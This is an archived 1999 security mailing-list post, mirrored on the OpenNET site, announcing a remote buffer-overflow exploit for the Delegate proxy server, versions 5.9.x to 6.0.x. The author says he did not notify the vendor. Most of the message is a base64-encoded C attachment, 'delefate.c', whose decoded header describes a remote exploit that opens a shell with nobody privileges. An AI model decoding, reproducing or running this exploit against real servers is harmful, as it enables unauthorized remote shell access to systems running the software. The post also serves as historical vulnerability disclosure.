The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Delegate 5.9.x - 6.0.x remote exploit (possibly others)


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Sat, 13 Nov 1999 19:54:39 +0100
From: Sebastian <[email protected]>
To: [email protected]
Subject: Delegate 5.9.x - 6.0.x remote exploit (possibly others)

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to [email protected] for more info.

---1463811696-1618997114-942519279=:12742
Content-Type: TEXT/PLAIN; charset=US-ASCII


Hi.

Delegate, a multiple-service proxy server contains several hundret buffer
overflows and is horrible insecure in general.

Attached there is a demonstration exploit for just one remotely
exploitable buffer overflow for delegate, compiled on linux (this bug is
exploitable on several other platforms, too).

I didn't bothered to notify the author of delegate, since it is
impossible to make delegate secure short time (it contains over 1000
strcpy's and over 500 sprintf's). Just don't use delegate anymore.


ciao,
scut / teso security
[http://teso.scene.at/&#093;

--
- [email protected] - http://nb.in-berlin.de/scut/ - sacbuctd@ircnet  --
-- you don't need a lot of people to be great, you need a few great to be --
-- the best -----------------------------------------------------------------
--- nuclear arrival weapon spy agent remain undercover, hi echelon ----------

---1463811696-1618997114-942519279=:12742
Content-Type: TEXT/plain; name="delefate.c"
Content-Transfer-Encoding: BASE64
Content-ID: <[email protected]>
Content-Description: delefate.c
Content-Disposition: attachment; filename="delefate.c"

LyogZGVsZWZhdGUuYw0KICogZGVsZWdhdGUgNS45LnggLSA2LjAueCByZW1v
dGUgZXhwbG9pdA0KICoNCiAqIHB1YmxpYw0KICoNCiAqIHdpbGwgb3BlbiBh
IHNoZWxsIHdpdGggdGhlIHByaXZpbGVnZXMgb2YgdGhlIG5vYm9keSB1c2Vy
Lg0KICoNCiAqIDE5OTkvMTMvMTEgYnkgc2N1dCBvZiB0ZXNvIFtodHRwOi8v
dGVzby5zY2VuZS5hdC9dDQogKg0KICogd29yZCB0byB3aG9sZSB0Z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QoJdHYudHZf
dXNlYyA9IDA7DQoNCgluID0gc2VsZWN0KGZkICsgMSwgJnJzZXQsICZ3c2V0
LCBOVUxMLCAmdHYpOw0KCWlmIChuID09IDApIHsNCgkJY2xvc2UoZmQpOw0K
CQllcnJubyA9IEVUSU1FRE9VVDsNCgkJcmV0dXJuICgtMSk7DQoJfQ0KCWlm
IChuID09IC0xKQ0KCQlyZXR1cm4gKC0xKTsNCg0KCWlmIChGRF9JU1NFVChm
ZCwgJnJzZXQpIHx8IEZEX0lTU0VUKGZkLCAmd3NldCkpIHsNCgkJaWYgKEZE
X0lTU0VUKGZkLCAmcnNldCkgJiYgRkRfSVNTRVQoZmQsICZ3c2V0KSkgew0K
CQkJbGVuID0gc2l6ZW9mKGVycm9yKTsNCgkJCWlmIChnZXRzb2Nrb3B0KGZk
LCBTT0xfU09DS0VULCBTT19FUlJPUiwgJmVycm9yLCAmbGVuKSA8IDApIHsN
CgkJCQllcnJubyA9IEVUSU1FRE9VVDsNCgkJCQlyZXR1cm4gKC0xKTsNCgkJ
CX0NCgkJCWlmIChlcnJvciA9PSAwKSB7DQoJCQkJZ290byBkb25lOw0KCQkJ
fSBlbHNlIHsNCgkJCQllcnJubyA9IGVycm9yOw0KCQkJCXJldHVybiAoLTEp
Ow0KCQkJfQ0KCQl9DQoJfSBlbHNlDQoJCXJldHVybiAoLTEpOw0KDQpkb25l
Og0KCW4gPSBmY250bChmZCwgRl9TRVRGTCwgZmxhZ3MpOw0KCWlmIChuID09
IC0xKQ0KCQlyZXR1cm4gKC0xKTsNCg0KCXJldHVybiAoZmQpOw0KfQ0KDQo=
---1463811696-1618997114-942519279=:12742--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру